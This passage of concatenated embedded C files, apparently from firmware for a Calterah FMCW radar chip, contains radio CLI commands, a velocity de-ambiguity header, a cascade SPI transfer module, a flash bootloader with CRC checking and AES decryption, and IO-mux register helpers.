muxin_sel = (float) strtof(pcParameter1, NULL);
voltage = fmcw_radio_auxadc2_voltage(NULL,muxin_sel);
/* display info */
sprintf(pcWriteBuffer, "\r\n radio auxadc1 voltage: %.3f \r\n", voltage);
}
else{
/* no parameter */
/* display info */
sprintf(pcWriteBuffer, "\r\n please select inputmux and try again \r\n");
print_help(pcWriteBuffer, xWriteBufferLen, &xRadioAUXADC1Voltage);
}
/* return */
return pdFALSE;
}
/* radio rf compensation code *********************************************************/
/*
* command : radio_rf_comp_code
* parameter : <NA> - provide rf compensation code vs junction temperature higher than 55C
*
*/
static const CLI_Command_Definition_t xRadioRFCompCode = {
"radio_rf_comp_code", /* The command string to type. */
"\r\nradio_rf_comp_code\r\n"
"\t <NA> - provide rf compensation code vs junction temperature higher than 55C\r\n",
radioRFCompCodeCommand, /* The function to run. */
0 /* No parameters are expected. */
};
static BaseType_t radioRFCompCodeCommand(char *pcWriteBuffer,
size_t xWriteBufferLen, const char *pcCommandString){
float temperature = 0;
/* clean write buffer */
memset( pcWriteBuffer, 0x00, xWriteBufferLen );
temperature = fmcw_radio_rf_comp_code(NULL);
/* display info */
if (temperature < 55)
sprintf(pcWriteBuffer, "\r\n radio temperature: %.2f, no need to apply code\r\n", temperature);
else
sprintf(pcWriteBuffer, "\r\n radio temperature: %.2f, compensation code applied\r\n", temperature);
/* return */
return pdFALSE;
}
/* command *******************************************************************/
void fmcw_radio_cli_commands( void ){
if (fmcw_radio_cli_registered)
return;
FreeRTOS_CLIRegisterCommand(&xRadioReg);
FreeRTOS_CLIRegisterCommand(&xRadioRegDump);
FreeRTOS_CLIRegisterCommand(&xRadioPowerOn);
FreeRTOS_CLIRegisterCommand(&xRadioPowerOff);
FreeRTOS_CLIRegisterCommand(&xRadioTemp);
FreeRTOS_CLIRegisterCommand(&xRadioSaturation);
FreeRTOS_CLIRegisterCommand(&xRadioRxGain);
FreeRTOS_CLIRegisterCommand(&xRadioTxPower);
FreeRTOS_CLIRegisterCommand(&xRadioTxPhase);
FreeRTOS_CLIRegisterCommand(&xRadioFmcw);
FreeRTOS_CLIRegisterCommand(&xRadioPll);
FreeRTOS_CLIRegisterCommand(&xRadioVctrl);
FreeRTOS_CLIRegisterCommand(&xRadioIfout);
FreeRTOS_CLIRegisterCommand(&xRadioTx);
FreeRTOS_CLIRegisterCommand(&xRadioSingleTone);
FreeRTOS_CLIRegisterCommand(&xRadioHpf);
FreeRTOS_CLIRegisterCommand(&xRadioHpa);
FreeRTOS_CLIRegisterCommand(&xRadioAutoTX);
FreeRTOS_CLIRegisterCommand(&xRadioAUXADC1Voltage);
FreeRTOS_CLIRegisterCommand(&xRadioAUXADC2Voltage);
FreeRTOS_CLIRegisterCommand(&xRadioRFCompCode);
fmcw_radio_cli_registered = true;
}
<file_sep>#ifndef CALTERAH_COMMON_VEL_DEAMB_VEL_DEAMB_MF_H
#define CALTERAH_COMMON_VEL_DEAMB_VEL_DEAMB_MF_H
#include "embARC_toolchain.h"
#include "clkgen.h"
#include "sensor_config.h"
#include "baseband_task.h"
#include "baseband.h"
#include "FreeRTOS.h"
#include "semphr.h"
#include "queue.h"
#include "task.h"
#include "arc_exception.h"
#include "alps_hardware.h"
#include "embARC_debug.h"
#include <stdlib.h>
#include "baseband_alps_FM_reg.h"
#include "baseband_hw.h"
#include <math.h>
#include "track.h"
#include "baseband_dpc.h"
#include "calterah_complex.h"
#include "calterah_math_funcs.h"
#define BB_WRITE_REG(bb_hw, RN, val) baseband_write_reg(bb_hw, BB_REG_##RN, val)
#define BB_READ_REG(bb_hw, RN) baseband_read_reg(bb_hw, BB_REG_##RN)
#define CUSTOM_VEL_DEAMB_MF false // To be compatible with customer implemented multi-frame velocity de-ambiguity
/* Enable velocity de-ambiguity using multiple frame(MF) method,
* currently only 2 frame types supported.
* To enable velocity de-ambiguity using multiple frame, set VEL_DEAMB_MF_EN to true.
*/
#define VEL_DEAMB_MF_EN (false && (NUM_FRAME_TYPE==2))
// Enable only to read information of successfully paired targets
#define TRACK_READ_PAIR_ONLY true
#define PRINT_EN false // enable print debug message
#if PRINT_EN
#define OPTION_PRINT EMBARC_PRINTF
#else
#define OPTION_PRINT NO_PRINTF
#endif
void NO_PRINTF(const char *format,...);
void bb_dpc_pre(baseband_t * bb);
void bb_dpc_post_irq(baseband_t * bb);
void bb_dpc_config(baseband_data_proc_t * bb_dpc);
static void get_fft_vec(baseband_hw_t * bb_hw, uint32_t * fft_vec,
int rng_index, int vel_index);
static void FFT_mem_buf2rlt(baseband_hw_t *bb_hw);
float corr_coe_cal(uint32_t * fft_mem1, uint32_t * fft_mem2, uint8_t len);
#define MAX_WRAP_NUM 3
void search_vel_wrap_num(uint32_t v_ind1, uint32_t v_nfft1, uint32_t Tc1,
uint32_t v_ind2, uint32_t v_nfft2, uint32_t Tc2, signed char * wrp_num1,
signed char * wrp_num2);
void frame_type_params_update(baseband_t *bb);
/* Thresholds of various object information types for pairing */
#define RNG_DIFF_THRES 1.5 // unit: m
#define SNR_DIFF_THRES 8 // unit: dB
#define VEL_DIFF_THRES 0.7 // unit: m/s FIXME: refer to vel_delta 25-27us = 0.27-0.3m/s
#define CORR_COE_THRES 0.6 // no unit
void obj_pair(baseband_t *bb);
/*------------ Structure pointer chain based pairing declaration (begin) -------------*/
#define MAX_PAIR_CANDI 3 // Constraint of chain length
/* The main object information is obtained in type 1 frame.
* The candidate object information is obtained in type 0 frame.
*/
struct pair_candi_obj_info {
unsigned char candi_obj_index;
signed char candi_vel_wrap_num;
unsigned char weighted_diff_exp;
struct pair_candi_obj_info * next;
};
typedef struct pair_candi_obj_info pair_candi_obj_info_t;
typedef struct {
unsigned char candi_obj_num;
bool match_flag;
pair_candi_obj_info_t * head;
pair_candi_obj_info_t * tail;
} pair_main_obj_t;
struct pair_main_obj_info {
unsigned char main_obj_index;
signed char main_vel_wrap_num;
unsigned char weighted_diff_exp;
struct pair_main_obj_info * next;
};
typedef struct pair_main_obj_info pair_main_obj_info_t;
typedef struct {
unsigned char main_obj_num;
bool match_flag;
pair_main_obj_info_t * head;
pair_main_obj_info_t * tail;
} pair_candi_obj_t;
void insert_main_obj_info_node(pair_candi_obj_t *frame_type_0_obj, uint8_t candi_obj_ind, pair_main_obj_info_t * main_obj);
void insert_candi_obj_info_node(pair_main_obj_t *frame_type_1_obj, uint8_t main_obj_ind, pair_candi_obj_info_t * candi_obj);
bool recur_pair_candi_obj(pair_main_obj_t *frame_type_1_obj,
pair_candi_obj_t *frame_type_0_obj, uint8_t candi_obj_ind);
bool recur_pair_main_obj(pair_main_obj_t *frame_type_1_obj,
pair_candi_obj_t *frame_type_0_obj, uint8_t main_obj_ind);
bool Is_main_obj_match(unsigned char obj_ind);
bool Is_candi_obj_match(unsigned char obj_ind);
signed char main_obj_wrap_num(unsigned char obj_ind);
void print_candi_obj_info(uint8_t candi_obj_ind);
void print_main_obj_info(uint8_t main_obj_ind);
/*------------ Structure pointer chain based pairing declaration (end) -------------*/
#endif
<file_sep>#include <string.h>
#include "embARC_toolchain.h"
#include "FreeRTOS.h"
#include "task.h"
#include "embARC.h"
#include "embARC_debug.h"
#include "dw_gpio.h"
#include "gpio_hal.h"
#include "spi_hal.h"
#include "crc_hal.h"
#include "cascade_config.h"
#include "cascade.h"
#include "cascade_internal.h"
#include "frame.h"
/*
* @com_type: communication type, indicated by CFG_CASCADE_COM_TYPE.
* @xfer_type: transfer type, indicate the current transfer type,
* receiving or transmitting?
* @rx_mng: receiving manager.
* @tx_mng: transmitting manager.
* */
typedef struct cascade_protocol {
uint32_t mode;
uint8_t com_type;
uint8_t xfer_type;
cs_com_cfg_t *com_cfg;
cs_xfer_mng_t rx_mng;
cs_xfer_mng_t tx_mng;
} cs_global_t;
static uint32_t rx_data_buffer[CASCADE_BUFFER_SIZE];
static cs_global_t cs_proc;
//static TaskHandle_t cascade_handle = NULL;
static void cascade_task_main(void *params);
int32_t cascade_init(void)
{
int32_t result = E_OK;
do {
/* check whether cascade status getting is ok or not. */
int32_t cs_sts = chip_cascade_status();
if (cs_sts < 0) {
result = cs_sts;
EMBARC_PRINTF("Error: cascade status read failed!\r\n");
break;
} else {
cs_proc.mode = (uint32_t)cs_sts;
EMBARC_PRINTF("Cascade status: %d\r\n", cs_sts);
}
//cs_proc.com_type = CFG_CASCADE_COM_TYPE;
/* cascade xfer type. */
cs_proc.xfer_type = CS_XFER_INVALID;
result = cascade_if_init();
if (E_OK != result) {
EMBARC_PRINTF("Error: cascade interface init failed[%d].\r\n", result);
break;
}
cs_proc.rx_mng.state = CS_XFER_IDLE;
cs_proc.rx_mng.data = rx_data_buffer;
DEV_BUFFER_INIT(&cs_proc.rx_mng.devbuf, NULL, 0);
cs_proc.tx_mng.state = CS_XFER_IDLE;
DEV_BUFFER_INIT(&cs_proc.tx_mng.devbuf, NULL, 0);
cs_proc.rx_mng.queue_handle = xQueueCreate(CASCADE_QUEUE_LEN, 12);
if (NULL == cs_proc.rx_mng.queue_handle) {
result = E_SYS;
EMBARC_PRINTF("Error: cascade queue create failed.\r\n");
}
cs_proc.tx_mng.queue_handle = xQueueCreate(CASCADE_QUEUE_LEN, 12);
if (NULL == cs_proc.tx_mng.queue_handle) {
result = E_SYS;
EMBARC_PRINTF("Error: cascade queue(tx) create failed.\r\n");
}
result = crc_init(0, 1);
if (E_OK != result) {
EMBARC_PRINTF("Error: crc init failed.\r\n");
}
cascade_crc_init();
//cascade_if_cli_register();
} while (0);
cascade_sync_bb_init(); // gpio_6 sync for bb
return result;
}
int32_t cascade_in_xfer_session(cs_xfer_mng_t **xfer)
{
int32_t result = CS_XFER_INVALID;
if (xfer) {
uint32_t cpu_sts = arc_lock_save();
if (CS_RX == cs_proc.xfer_type) {
*xfer = &cs_proc.rx_mng;
} else if (CS_TX == cs_proc.xfer_type) {
*xfer = &cs_proc.tx_mng;
} else {
*xfer = NULL;
}
result = cs_proc.xfer_type;
arc_unlock_restore(cpu_sts);
}
return result;
}
/* read data:
* this function will wait untill a message has been inserted in receiving queue.
* receiver read data from hardware FIFO and store them to the local rx buffer in
* interrupt context, once all of the package have been received, a message will
* be inserted in receiving queue.
* note: this function can only be called in task context.
* */
int32_t cascade_read(uint32_t **data, uint32_t *len, TickType_t wait_ticks)
{
int32_t result = E_OK;
DEV_BUFFER msg;
cs_xfer_mng_t *xfer = &cs_proc.rx_mng;
if ((NULL == data) || (NULL == len)) {
result = E_PAR;
} else {
DEV_BUFFER_INIT(&msg, NULL, 0);
if (pdTRUE == xQueueReceive(xfer->queue_handle, \
&msg, wait_ticks)) {
*data = (uint32_t *)msg.buf;
*len = msg.len;
} else {
result = E_SYS;
}
}
return result;
}
int32_t cascade_package_init(cs_xfer_mng_t *xfer, uint32_t *data, uint16_t len)
{
int32_t result = E_OK;
if (NULL != xfer) {
xfer->data = data;
xfer->xfer_size = len;
xfer->nof_frame = len / (CASCADE_FRAME_LEN_MAX >> 2);
if (len % (CASCADE_FRAME_LEN_MAX >> 2)) {
xfer->nof_frame += 1;
}
xfer->cur_frame_id = 0;
} else {
result = E_PAR;
}
return result;
}
void cascade_receiver_init(uint32_t length)
{
cs_xfer_mng_t *xfer = &cs_proc.rx_mng;
if (length > 0) {
xfer->data = rx_data_buffer;
xfer->xfer_size = length;
xfer->nof_frame = length / (CASCADE_FRAME_LEN_MAX >> 2);
if (length % (CASCADE_FRAME_LEN_MAX >> 2)) {
xfer->nof_frame += 1;
}
xfer->cur_frame_id = 0;
xfer->crc_done_cnt = 0;
xfer->state = CS_XFER_BUSY;
}
}
void cascade_package_done(cs_xfer_mng_t *xfer)
{
if (NULL != xfer) {
uint32_t cpu_sts = arc_lock_save();
cs_proc.xfer_type = CS_XFER_INVALID;
xfer->state = CS_XFER_IDLE;
arc_unlock_restore(cpu_sts);
}
}
void cascade_session_state(uint8_t state)
{
cs_proc.xfer_type = state;
}
int32_t cascade_write(uint32_t *data, uint32_t len)
{
int32_t result = E_OK;
uint32_t cpu_sts = 0;
cs_xfer_mng_t *xfer = &cs_proc.tx_mng;
do {
/* tx state: ready for writing? */
cpu_sts = arc_lock_save();
if ((CS_XFER_INVALID != cs_proc.xfer_type) || \
(CS_XFER_IDLE != cs_proc.tx_mng.state)) {
arc_unlock_restore(cpu_sts);
result = E_DBUSY;
break;
}
cs_proc.xfer_type = CS_TX;
cs_proc.tx_mng.state = CS_XFER_BUSY;
arc_unlock_restore(cpu_sts);
/* half complex: clear rx device buffer. */
DEV_BUFFER_INIT(&cs_proc.rx_mng.devbuf, NULL, 0);
/* package init. */
result = cascade_package_init(xfer, data, len);
if (E_OK != result) {
break;
}
if (CHIP_CASCADE_MASTER == cs_proc.mode) {
result = cascade_if_master_write(xfer);
} else {
result = cascade_if_slave_write(xfer);
}
} while (0);
return result;
}
int32_t cascade_transmit_done(void)
{
int32_t result = E_OK;
DEV_BUFFER msg;
cs_xfer_mng_t *xfer = &cs_proc.tx_mng;
DEV_BUFFER_INIT(&msg, NULL, 0);
if (pdTRUE != xQueueReceive(xfer->queue_handle, \
&msg, portMAX_DELAY)) {
result = E_SYS;
}
return result;
}
void cascade_process_done(void)
{
cs_xfer_mng_t *xfer = &cs_proc.rx_mng;
/* frame header field buffers the next package's length. */
uint32_t length = xfer->cur_frame.header;
uint32_t cpu_sts = arc_lock_save();
cascade_package_done(xfer);
if (CS_XFER_PENDING == xfer->state) {
cascade_if_xfer_resume(xfer, length);
cs_proc.xfer_type = CS_RX;
}
arc_unlock_restore(cpu_sts);
}
void cascade_crc_compute_done(uint32_t crc32)
{
cs_xfer_mng_t *xfer = NULL;
if (CS_RX == cs_proc.xfer_type) {
xfer = &cs_proc.rx_mng;
cascade_rx_crc_handle(xfer, crc32);
} else if (CS_TX == cs_proc.xfer_type) {
xfer = &cs_proc.tx_mng;
cascade_tx_crc_handle(xfer, crc32);
} else {
/* panic: what happened? */
}
}
void cascade_rx_indication(cs_xfer_mng_t *xfer)
{
BaseType_t higher_task_wkup = 0;
if (xfer) {
DEV_BUFFER msg = {
.buf = xfer->data,
.len = xfer->xfer_size
};
if (pdTRUE == xQueueSendFromISR(xfer->queue_handle, \
&msg, &higher_task_wkup)) {
if (higher_task_wkup) {
portYIELD_FROM_ISR();
}
xfer->state = CS_XFER_DONE;
} else {
/* TODO: record error! */
;
}
}
}
void cascade_tx_confirmation(cs_xfer_mng_t *xfer)
{
BaseType_t higher_task_wkup = 0;
DEV_BUFFER msg = {
.ofs = xfer->xfer_size,
};
if (xfer) {
if (pdTRUE == xQueueSendFromISR(xfer->queue_handle, \
&msg, &higher_task_wkup)) {
if (higher_task_wkup) {
portYIELD_FROM_ISR();
}
} else {
/* TODO: record error! */
;
}
}
}
void cascade_sync_callback(void *params)
{
cs_xfer_mng_t *xfer = NULL;
if (CS_TX == cs_proc.xfer_type) {
xfer = &cs_proc.tx_mng;
cascade_if_master_send_callback(xfer);
} else if (CS_RX == cs_proc.xfer_type) {
xfer = &cs_proc.rx_mng;
cascade_if_master_receive_callback(xfer);
} else {
/* new package comming! */
xfer = &cs_proc.rx_mng;
cascade_if_master_package_init(xfer);
if (xfer->xfer_size) {
cs_proc.xfer_type = CS_RX;
}
}
}
void cascade_if_callback(void *params)
{
cs_xfer_mng_t *xfer = NULL;
if (CS_TX == cs_proc.xfer_type) {
xfer = &cs_proc.tx_mng;
cascade_if_slave_send_callback(xfer);
} else if (CS_RX == cs_proc.xfer_type) {
xfer = &cs_proc.rx_mng;
cascade_if_slave_receive_callback(xfer);
} else if (CS_SLV_TX_DONE == cs_proc.xfer_type) {
while (raw_readl(0xb80024)) {
raw_readl(0xb80060);
}
cs_proc.xfer_type = CS_XFER_INVALID;
} else {
xfer = &cs_proc.rx_mng;
cascade_if_slave_package_init(xfer);
if (xfer->xfer_size) {
cs_proc.xfer_type = CS_RX;
}
}
}
<file_sep># Applications without OS
Applications without OS (FreeRTOS) support. Each application (APP) has its own subdirectory. Currently, only a general APP (sensor) is included. One special ``common`` subdirectory includes modules can be used in all APPs here.
<file_sep>#include "embARC.h"
#include "system.h"
#include "ota.h"
#include "flash_header.h"
#include "flash_mmap.h"
#include "instruction.h"
#include "flash.h"
#include "xip_hal.h"
#include "vendor.h"
#include "dw_ssi_reg.h"
#include "dw_ssi.h"
#include "config.h"
#define BOOT_CRC_ENABLE (1)
#define FLASH_ADDR (0xb90000)
#define REG_SSI_CTRLR0 (0x0)
#define REG_SSI_CTRLR1 (0x4)
#define REG_SSI_SSIENR (0x8)
#define REG_SSI_SER (0x10)
#define REG_SSI_SR (0x28)
#define REG_SSI_DR(x) (0x60 + ((x) << 0))
#define REG_SSI_SPI_CTRLR0 (0xF4)
#define BITS_SPI_FRF_MASK (0x3)
#define BITS_SPI_FRF_SHIFT (21)
#define BITS_TMOD_MASK (0x3)
#define BITS_TMOD_SHIFT (8)
#define BITS_INST_L_MASK (0x3)
#define BITS_INST_L_SHIFT (8)
#define BITS_ADDR_L_MASK (0xF)
#define BITS_ADDR_L_SHIFT (2)
#define BITS_RFNE (1 << 3)
#define BITS_TFE (1 << 2)
#define BITS_TFNF (1 << 1)
#define BITS_BUSY (1 << 0)
#define CMD_READ (0x03)
extern uint32_t _e_part2_text;
extern uint32_t _f_part2_text;
void arc_cache_init(void)
{
_arc_aux_write(AUX_CACHE_LIMIT, 0x800000);
/* enable IC & DC. */
_arc_aux_write(0x48, 0x60);
_arc_aux_write(0x47, 1);
while(_arc_aux_read(0x48) & 0x100);
_arc_aux_write(0x11, 0);
_arc_aux_write(0x10, 0);
Asm("nop_s");
Asm("nop_s");
Asm("nop_s");
}
void chip_raw_mdelay(uint32_t ms)
{
uint64_t s_tick, e_tick;
s_tick = _arc_aux_read(AUX_RTC_HIGH);
s_tick = (s_tick << 32) | _arc_aux_read(AUX_RTC_LOW);
e_tick = s_tick + ms * (300000);
if (e_tick > s_tick) {
do {
s_tick = _arc_aux_read(AUX_RTC_HIGH);
s_tick = (s_tick << 32) | _arc_aux_read(AUX_RTC_LOW);
} while (e_tick > s_tick);
}
}
static void flash_read_early(uint32_t addr, uint8_t *buf, uint32_t count)
{
int i;
uint32_t val;
uint32_t read_count = 256;
uint32_t read_time = count / read_count;
if (count % read_count) {
read_time++;
}
while (count) {
if (count < read_count) {
read_count = count;
}
raw_writel((REG_SSI_SSIENR + FLASH_ADDR), 0);
val = raw_readl((REG_SSI_CTRLR0 + FLASH_ADDR));
val &= ~(BITS_TMOD_MASK << BITS_TMOD_SHIFT);
val &= ~(BITS_SPI_FRF_MASK << BITS_SPI_FRF_SHIFT);
val |= (BITS_TMOD_MASK & 3) << BITS_TMOD_SHIFT;
raw_writel((REG_SSI_CTRLR0 + FLASH_ADDR), val);
raw_writel((REG_SSI_CTRLR1 + FLASH_ADDR), (read_count-1));
raw_writel((REG_SSI_SSIENR + FLASH_ADDR), 1);
while (raw_readl((REG_SSI_SR + FLASH_ADDR)) & BITS_RFNE) {
raw_readl((REG_SSI_DR(0) + FLASH_ADDR));
}
/* wait TXF empty. and then send command and address. */
while (0 == (raw_readl((REG_SSI_SR + FLASH_ADDR)) & BITS_TFE));
raw_writel((REG_SSI_DR(0) + FLASH_ADDR), CMD_READ); /* 03h. */
raw_writel((REG_SSI_DR(0) + FLASH_ADDR), (addr >> 16) & 0xFF);
raw_writel((REG_SSI_DR(0) + FLASH_ADDR), (addr >> 8) & 0xFF);
raw_writel((REG_SSI_DR(0) + FLASH_ADDR), (addr & 0xFF));
raw_writel((REG_SSI_SER + FLASH_ADDR), 1);
for (i = 0; i < read_count; i++) {
while (0 == (raw_readl((REG_SSI_SR + FLASH_ADDR)) & BITS_RFNE));
*buf++ = (uint8_t)(raw_readl((REG_SSI_DR(0) + FLASH_ADDR)));
}
do {
val = raw_readl((REG_SSI_SR + FLASH_ADDR));
} while ((0 == (val & BITS_TFE)) || (val & BITS_BUSY));
raw_writel((REG_SSI_SER + FLASH_ADDR), 0);
count -= read_count;
addr += read_count;
}
}
static void flash_command_send(dev_cmd_t *command)
{
//int ret = 0;
int j, i, cnt = 0;
uint32_t val;
uint8_t address_length = 0;
uint8_t ins_length = 2;
uint32_t command_buf[8];
i = 0;
command_buf[i++] = command->cmd;
if ((command->addr >> 24)) {
address_length = 6;
ins_length = 2;
command_buf[i++] = (command->addr >> 16) & 0xFFU;
command_buf[i++] = (command->addr >> 8) & 0xFFU;
command_buf[i++] = command->addr & 0xFFU;
}
for (j = 0; j < 4; j++) {
if ((command[cnt].value[j] >> 8)) {
command_buf[i++] = command->value[j] & 0xFFU;
ins_length = 2;
} else {
break;
}
}
raw_writel((REG_SSI_SSIENR + FLASH_ADDR), 0);
val = raw_readl((REG_SSI_CTRLR0 + FLASH_ADDR));
val &= ~(BITS_TMOD_MASK << BITS_TMOD_SHIFT);
val |= (BITS_TMOD_MASK & 1) << BITS_TMOD_SHIFT;
raw_writel((REG_SSI_CTRLR0 + FLASH_ADDR), val);
val = raw_readl((REG_SSI_SPI_CTRLR0 + FLASH_ADDR));
val &= ~(BITS_ADDR_L_MASK << BITS_ADDR_L_SHIFT);
val |= (BITS_ADDR_L_MASK & address_length) << BITS_ADDR_L_SHIFT;
val &= ~(BITS_INST_L_MASK << BITS_INST_L_SHIFT);
val |= (BITS_INST_L_MASK & ins_length) << BITS_INST_L_SHIFT;
raw_writel((REG_SSI_SPI_CTRLR0 + FLASH_ADDR), val);
raw_writel((REG_SSI_SSIENR + FLASH_ADDR), 1);
cnt = 0;
while (0 == (raw_readl((REG_SSI_SR + FLASH_ADDR)) & BITS_TFE));
while (i--) {
raw_writel((REG_SSI_DR(0) + FLASH_ADDR), command_buf[cnt++]);
}
raw_writel((REG_SSI_SER + FLASH_ADDR), 1);
do {
val = raw_readl((REG_SSI_SR + FLASH_ADDR));
} while ((0 == (val & BITS_TFE)) || (val & BITS_BUSY));
raw_writel((REG_SSI_SER + FLASH_ADDR), 0);
chip_raw_mdelay(1);
}
static void flash_quad_entry_early(void)
{
dev_cmd_t command;
if (FLASH_DEV_CMD0_INS) {
command.cmd = FLASH_DEV_CMD0_INS;
command.addr = FLASH_DEV_CMD0_ADDR;
command.value[0] = FLASH_DEV_CMD0_VAL0;
command.value[1] = FLASH_DEV_CMD0_VAL1;
command.value[2] = FLASH_DEV_CMD0_VAL2;
command.value[3] = FLASH_DEV_CMD0_VAL3;
flash_command_send(&command);
}
if (FLASH_DEV_CMD1_INS) {
command.cmd = FLASH_DEV_CMD1_INS;
command.addr = FLASH_DEV_CMD1_ADDR;
command.value[0] = FLASH_DEV_CMD1_VAL0;
command.value[1] = FLASH_DEV_CMD1_VAL1;
command.value[2] = FLASH_DEV_CMD1_VAL2;
command.value[3] = FLASH_DEV_CMD1_VAL3;
flash_command_send(&command);
}
}
#include "xip_early.c"
static void flash_xip_boot(void)
{
#if BOOT_CRC_ENABLE
uint8_t *image_ptr = NULL;
uint32_t *crc32_ptr = NULL;
uint32_t crc32 = 0;
uint32_t single_crc_size = 0;
#endif
uint32_t payload_size = 0;
image_header_t *header_ptr = (image_header_t *)(FLASH_MMAP_FIRMWARE_BASE + FLASH_FIRMWARE_BASE);
next_image_entry firmware_entry;
flash_quad_entry_early();
/* configure XIP controller: */
flash_xip_init_early();
/* firmware memory mapping address */
image_ptr = (uint8_t *)(FLASH_MMAP_FIRMWARE_BASE + header_ptr->payload_addr);
firmware_entry = (next_image_entry)(image_ptr + header_ptr->exec_offset);
#if BOOT_CRC_ENABLE
crc32_ptr = (uint32_t *)(image_ptr + header_ptr->payload_size);
payload_size = header_ptr->payload_size;
single_crc_size = header_ptr->crc_part_size;
while (payload_size) {
if (payload_size < single_crc_size) {
single_crc_size = payload_size;
}
crc32 = update_crc(0, image_ptr, single_crc_size);
//crc32_update(0, image_ptr, single_crc_size);
//crc32 = crc_output();
if (crc32 != *crc32_ptr) {
break;
}
crc32_ptr++;
image_ptr += single_crc_size;
payload_size -= single_crc_size;
}
#endif
if (0 == payload_size) {
_arc_aux_write(0x4B, 1);
while (_arc_aux_read(0x48) & 0x100);
icache_invalidate();
/* jump to the next image. */
firmware_entry();
}
}
#define REG_FLASH_AES_DIN_OFFSET(x, y) (((0x12 + ((x) << 2) + (y)) << 2))
#define REG_FLASH_AES_DOUT_OFFSET(x, y) (((0x26 + ((x) << 2) + (y)) << 2))
int aes_decrypt(uint32_t *data_in, uint32_t *data_out, uint32_t len)
{
int ret = 0;
unsigned int i, j;
if (len % 64) {
ret = -1;
} else {
while (len) {
for (i = 0; i < 4; i++) {
for (j = 0; j < 4; j++) {
raw_writel(REG_FLASH_AES_DIN_OFFSET(i, j) + 0xd00100, *data_in++);
}
}
raw_writel(0xd00188, 1);
raw_writel(0xd0018c, 1);
//raw_writel(REG_FLASH_AES_DIN_VAL_OFFSET +XIP_ADDR, 1);
while (0 == (raw_readl(0xd00194) & 0x1));
for (i = 0; i < 4; i++) {
for (j = 0; j < 4; j++) {
*data_out++ = raw_readl(REG_FLASH_AES_DOUT_OFFSET(i, j) + 0xd00100);
}
}
len -= 64;
}
}
return ret;
}
static void part2_read(void)
{
uint32_t crc_len;
uint32_t part2_base;
flash_header_t header;
flash_read_early(0, (uint8_t *)&header, 32);
uint32_t read_count = header.pload_size;
if (header.pload_size % 0x4) {
read_count += 4 - (header.pload_size % 0x4);
}
crc_len = header.pload_size / 0x1000;
if (header.pload_size % 0x1000) {
crc_len += 1;
}
crc_len <<= 2;
read_count += crc_len;
if (raw_readl(0xb00004) & 1) {
if (read_count % 64) {
read_count += 64 - read_count % 64;
}
}
part2_base = header.pload_addr + read_count;
read_count = (uint32_t)(&_e_part2_text) - (uint32_t)(&_f_part2_text);
if (raw_readl(0xb00004) & 1) {
if (read_count % 0x4) {
read_count += 4 - (read_count % 0x4);
}
crc_len = read_count / 0x1000;
if (read_count % 0x1000) {
crc_len += 1;
}
crc_len <<= 2;
read_count += crc_len;
if (read_count % 64) {
read_count += 64 - read_count % 64;
}
}
flash_read_early(part2_base, (uint8_t *)&_f_part2_text, read_count);
if (raw_readl(0xb00004) & 1) {
aes_decrypt((uint32_t *)&_f_part2_text, (uint32_t *)&_f_part2_text, read_count);
}
_arc_aux_write(0x4B, 1);
while (_arc_aux_read(0x48) & 0x100);
}
void board_main(void)
{
uint32_t boot_mode = reboot_cause();
gen_crc_table();
if (0 == boot_mode) {
flash_xip_boot();
} else {
part2_read();
system_ota_entry();
}
}
<file_sep>#ifndef _DMU_RAW_API_H_
#define _DMU_RAW_API_H_
#include "alps_dmu_reg.h"
#include "alps_io_mux.h"
static inline void sys_dmu_select(uint32_t mode)
{
raw_writel(REG_DMU_SYS_DMU_SEL_OFFSET + REL_REGBASE_DMU, mode);
}
static inline uint32_t sys_dmu_mode_get(void)
{
return raw_readl(REG_DMU_SYS_DMU_SEL_OFFSET + REL_REGBASE_DMU);
}
static inline void io_mux_spi_m1_func_sel(uint32_t func)
{
raw_writel(REG_DMU_MUX_SPI_M1_OFFSET + REL_REGBASE_DMU, func & 0xF);
}
/*
* [31:24], spi_s1_clk.
* [23:16], spi_s1_sel.
* [15:8], spi_s1_mosi.
* [7:0], spi_s1_miso.
* */
#define IO_MUX_SPI_S1_FUNC_MIX(clk, sel, mosi, miso) ( \
(((clk) & 0xF) << 24) | (((sel) & 0xF) << 16) | \
(((mosi) & 0xF) << 8) | (((miso) & 0xF)) )
static inline void io_mux_spi_s1_func_sel(uint32_t mix_func)
{
raw_writel(REG_DMU_MUX_SPI_S1_CLK_OFFSET + REL_REGBASE_DMU, (mix_func >> 24) & 0xF);
raw_writel(REG_DMU_MUX_SPI_S1_SEL_OFFSET + REL_REGBASE_DMU, (mix_func >> 16) & 0xF);
raw_writel(REG_DMU_MUX_SPI_S1_MOSI_OFFSET + REL_REGBASE_DMU, (mix_func >> 8) & 0xF);
raw_writel(REG_DMU_MUX_SPI_S1_MISO_OFFSET + REL_REGBASE_DMU, (mix_func) & 0xF);
}
static inline void io_mux_uart0_func_sel(uint32_t func)
{
raw_writel(REG_DMU_MUX_UART0_OFFSET + REL_REGBASE_DMU, func & 0xF);
}
static inline void io_mux_uart1_func_sel(uint32_t func)
{
raw_writel(REG_DMU_MUX_UART1_OFFSET + REL_REGBASE_DMU, func & 0xF);
}
static inline void io_mux_can0_func_sel(uint32_t func)
{
raw_writel(REG_DMU_MUX_CAN0_OFFSET + REL_REGBASE_DMU, func & 0xF);
}
static inline void io_mux_can1_func_sel(uint32_t func)
{
raw_writel(REG_DMU_MUX_CAN1_OFFSET + REL_REGBASE_DMU, func & 0xF);
}
static inline void io_mux_adc_reset_func_sel(uint32_t func)
{
raw_writel(REG_DMU_MUX_RESET_OFFSET + REL_REGBASE_DMU, func & 0xF);
}
static inline void io_mux_adc_sync_func_sel(uint32_t func)
{
raw_writel(REG_DMU_MUX_SYNC_OFFSET + REL_REGBASE_DMU, func & 0xF);
}
static inline void io_mux_i2c_func_sel(uint32_t func)
{
raw_writel(REG_DMU_MUX_I2C_OFFSET + REL_REGBASE_DMU, func & 0xF);
}
static inline void io_mux_pwm0_func_sel(uint32_t func)
{
raw_writel(REG_DMU_MUX_PWM0_OFFSET + REL_REGBASE_DMU, func & 0xF);
}
static inline void io_mux_pwm1_func_sel(uint32_t func)
{
raw_writel(REG_DMU_MUX_PWM1_OFFSET + REL_REGBASE_DMU, func & 0xF);
}
static inline void io_mux_adc_clk_func_sel(uint32_t func)
{
raw_writel(REG_DMU_MUX_ADC_CLK_OFFSET + REL_REGBASE_DMU, func & 0xF);
}
static inline void io_mux_can_clk_func_sel(uint32_t func)
{
raw_writel(REG_DMU_MUX_CAN_CLK_OFFSET + REL_REGBASE_DMU, func & 0xF);
}
static inline void io_mux_spi_m0_func_sel(uint32_t func)
{
